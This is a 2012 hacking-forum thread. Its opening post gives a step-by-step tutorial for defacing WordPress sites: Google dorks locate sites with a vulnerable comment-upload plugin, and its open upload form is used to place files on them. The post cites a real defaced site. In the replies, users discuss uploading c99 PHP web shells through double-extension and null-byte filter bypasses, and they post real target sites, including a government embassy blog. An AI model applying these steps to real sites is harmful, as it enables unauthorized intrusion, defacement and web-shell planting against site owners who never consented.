+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Deface] Wordpress Exploit : Thousands Wordpress sites vulnerable. [Deface] (/showthread.php?tid=2337691)
[Deface] Wordpress Exploit : Thousands Wordpress sites vulnerable. [Deface] - Isaac Newton - Mar 25, 2012
Some of you might already know this, here's it for those who don't.
What this does-- Upload your deface on a vulnerable WP site.
Things you need--
1. Internet.
2. A browser.
3. Your deface.
Step 1
We gonna use a google dork for this.
Use any of the below (Search in google)-
Code
inurl:/wp-content/plugins/easy-comment-uploads/upload-form.phpCode
Index of /wp-content/plugins/easy-comment-uploadsNow we've got many sites. Remember this won't work on all.
Step 2
Open a site and put this code-
Code
site.com/wp-content/plugins/easy-comment-uploads/upload-form.phpHere site.com is the website we've opened.
Step 3
Once done the above, you'll get an upload option.
Use it to upload your file (deface).
Step 4
You can see your deface at-
Code
site.com/wp-content/uploads/2012/03/yourfilehereReplace "yourfilehere" with your file name.
Example--http://pickoflitter.com/wp-content/uploads/2012/03/nwtn.jpg
* - Cyba - Mar 25, 2012
Very nice tutorial, keep it up my friend! ;)
* - Mr Storm - Mar 25, 2012
Nice tutorial! I didn't know this google dork.
Thank you!
* - niian - Mar 25, 2012
Sneaky :), took me a while to realize the point
* - Yomama - Mar 25, 2012
I am able to find the website, but cannot get to the upload form. Please help me OP.
Look, here is the site:
http://www.icademic.org/results/site.com/wp-content/plugins/easy-comment-uploads/upload-form.php=http:/free.7host05.com/!tim
* - Vlad1k - Mar 25, 2012
Can you upload shells like .PHP with this exploit? Thanks. :)
* - Anubis - Mar 25, 2012
(Mar 25, 2012 03:52 PM)Yomama Wrote: I am able to find the website, but cannot get to the upload form. Please help me OP.
Look, here is the site:
http://www.icademic.org/results/site.com/wp-content/plugins/easy-comment-uploads/upload-form.php=http:/free.7host05.com/!tim
That is not a wordpress website -.-''
Those are search results.
(Mar 25, 2012 04:01 PM)Vlad1k Wrote: Can you upload shells like .PHP with this exploit? Thanks. :)
Here are the shells.
Guys usually use c99.
If you get an error. Try changing the extension to gif.
For example. c99.php to c99.php.gif and than try to upload again.
* - ✝ℌε ℜℯα℘ℯℛ - Mar 25, 2012
Great tutorial, thanks. Its very useful :D
* - Mario - Mar 25, 2012
This is not defacing lol..? Its just uploading a deface page
* - hackerz1988 - Mar 26, 2012
nice tutorial ..but how to delete uploaded pic??
working perfectly fine for me..thnks buddy
* - Isaac Newton - Mar 27, 2012
(Mar 25, 2012 03:52 PM)Yomama Wrote: I am able to find the website, but cannot get to the upload form. Please help me OP.
Look, here is the site:
http://www.icademic.org/results/site.com/wp-content/plugins/easy-comment-uploads/upload-form.php=http:/free.7host05.com/!tim
It won't work for all sites as I said. You've to find the correct one which has an upload button on the stated page.
* - Sw1x - Mar 27, 2012
Thanks for this, very useful. :) I like this.
* - - Mar 27, 2012
I can't upload shells, as I get the "Sorry, you can only upload images."
I tried using nullbytes %00.jpg, doesn't work.
* - Malboronaldo - Mar 27, 2012
very interreting ! testing now ;) thank for that...
* - YeOldBlueBird - Mar 28, 2012
http://blogs.ottawa.usembassy.gov/cultural/wp-content/plugins/easy-comment-uploads/upload-form.php
Am I doing it right?